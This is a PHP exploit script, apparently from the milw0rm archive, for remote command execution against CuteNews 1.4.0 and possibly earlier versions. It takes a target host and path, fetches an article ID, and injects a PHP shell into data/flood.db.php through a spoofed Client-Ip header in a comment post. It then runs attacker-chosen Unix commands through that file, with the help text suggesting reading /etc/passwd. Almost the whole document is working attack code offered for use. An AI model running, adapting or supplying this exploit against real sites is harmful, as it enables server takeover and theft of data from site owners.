CuteNews <= 1 . 4 . 0 (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path (ex: /cute/ or just /)

main page where article are listed, ex: in default installation "example2.php"

specify a port other than 80 ( default value )

a Unix command , example: ls -la to list directories, ca t /etc/passwd to show passwd file

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'') and ($main<>'')) { if ($port=='') {$port=80;} #STEP 1 -> Retrieve an article id if ($proxy=='') {$packet="GET ".$path.$main." HTTP/1.0 \r\n";} else {$packet="GET ".$host.$path.$main." HTTP/1.0 \r\n";} $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //show the packet for debugging purposes sendpacket($packet); $temp=explode("id=",$html); $temp2=explode("&",$temp[1]); $articleid=$temp2[0]; echo '

Article ID -> '.htmlentities($articleid).'

'; #STEP 2 -> Inject a shell in flood.db.php $shell=''; //customize it for your own pleasure... $title=':)'; //comment title $comment='Very glad to read such a good article! You should win Pulitzer prize!'; //customize here $data="name=".urlencode($title)."&comments=".urlencode($comment)."&submit=Add+My+Comment&subaction=addcomment&ucat=1&show="; if ($proxy=='') {$packet="POST ".$path.$main."?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1& HTTP/1.1\r\n";} else {$packet="POST http://".$host.$path.$main."?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1& HTTP/1.1\r\n";} $packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n"; $packet.="Client-Ip: ".$shell."\r\n"; //spoof HTTP_CLIENT_IP var... $packet.="Host: ".$host."r\n"; $packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $packet.="Accept-Language: it,en;q=0.9\r\n"; $packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n"; $packet.="Referer: http://".$host.$path."example2.php?subaction=showcomments&id=".urlencode($articleid)."&archive=&start_from=&ucat=1&\r\n"; $packet.="Connection: Keep-Alive, TE\r\n"; $packet.="TE: deflate, gzip, chunked, identity, trailers\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; show($packet); // debugging... sendpacket($packet); # STEP 3 -> Launch commands echo '
If CuteNews is unpatched and vulnerable, now you will see '.htmlentities($command).' output...
'; if ($proxy=='') {$packet="GET ".$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 \r\n";} else {$packet="GET ".$host.$path."data/flood.db.php?cmd=".urlencode($command)." HTTP/1.0 \r\n";} $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //debugging... sendpacket($packet); } else {echo 'fill in all requested fields...';} ?> # milw0rm.com [2005-09-17]